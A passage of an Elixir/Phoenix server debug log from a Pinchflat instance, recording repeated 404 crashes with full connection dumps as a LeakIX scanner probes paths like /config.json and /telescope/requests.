"/s/132323e21323e24323e22373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46674}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162777.0>, params: %{}, path_info: ["s", "132323e21323e24323e22373", "_", ";", "META-INF", "maven", "com.atlassian.jira", "jira-webapp-dist", "pom"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connect (truncated) 17:50:43.790 [info] GET /config.json 17:50:43.791 [debug] QUERY OK source="settings" db=0.2ms idle=1015.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:43.791 [debug] QUERY OK source="settings" db=0.1ms idle=1015.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:43.791 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:43.791 [error] #PID<0.162779.0> running PinchflatWeb.Endpoint (connection #PID<0.162778.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46688}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162779.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJbxQ6hG1Uk0AFofh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46688}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46688}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162779.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJbxQ6hG1Uk0AFofh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: P (truncated) 17:50:44.601 [info] GET /config.json 17:50:44.602 [debug] QUERY OK source="settings" db=0.2ms idle=1000.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:44.602 [debug] QUERY OK source="settings" db=0.1ms idle=1000.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:44.602 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:44.602 [error] #PID<0.162781.0> running PinchflatWeb.Endpoint (connection #PID<0.162780.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46704}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162781.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJeyl69lK7LAAFogB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46704}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162780.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46704}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162781.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJeyl69lK7LAAFogB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb. (truncated) 17:50:44.784 [info] GET /telescope/requests 17:50:44.785 [debug] QUERY OK source="settings" db=0.1ms idle=993.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:44.785 [debug] QUERY OK source="settings" db=0.1ms idle=993.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:44.785 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:44.785 [error] #PID<0.162783.0> running PinchflatWeb.Endpoint (connection #PID<0.162782.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /telescope/requests ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162782.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46706}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162783.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJfeTT_lQIokAFogh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162782.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46706}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162782.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46706}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162783.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJfeTT_lQIokAFogh"} ], scheme: :http, script_name: [], se (truncated) 17:50:45.610 [info] GET /telescope/requests 17:50:45.610 [debug] QUERY OK source="settings" db=0.2ms idle=1008.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:45.611 [debug] QUERY OK source="settings" db=0.1ms idle=1008.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:45.611 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:45.611 [error] #PID<0.162785.0> running PinchflatWeb.Endpoint (connection #PID<0.162784.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /telescope/requests ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162784.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44270}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162785.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJijH2hsihiEAFohB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162784.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44270}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162784.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44270}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162785.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], 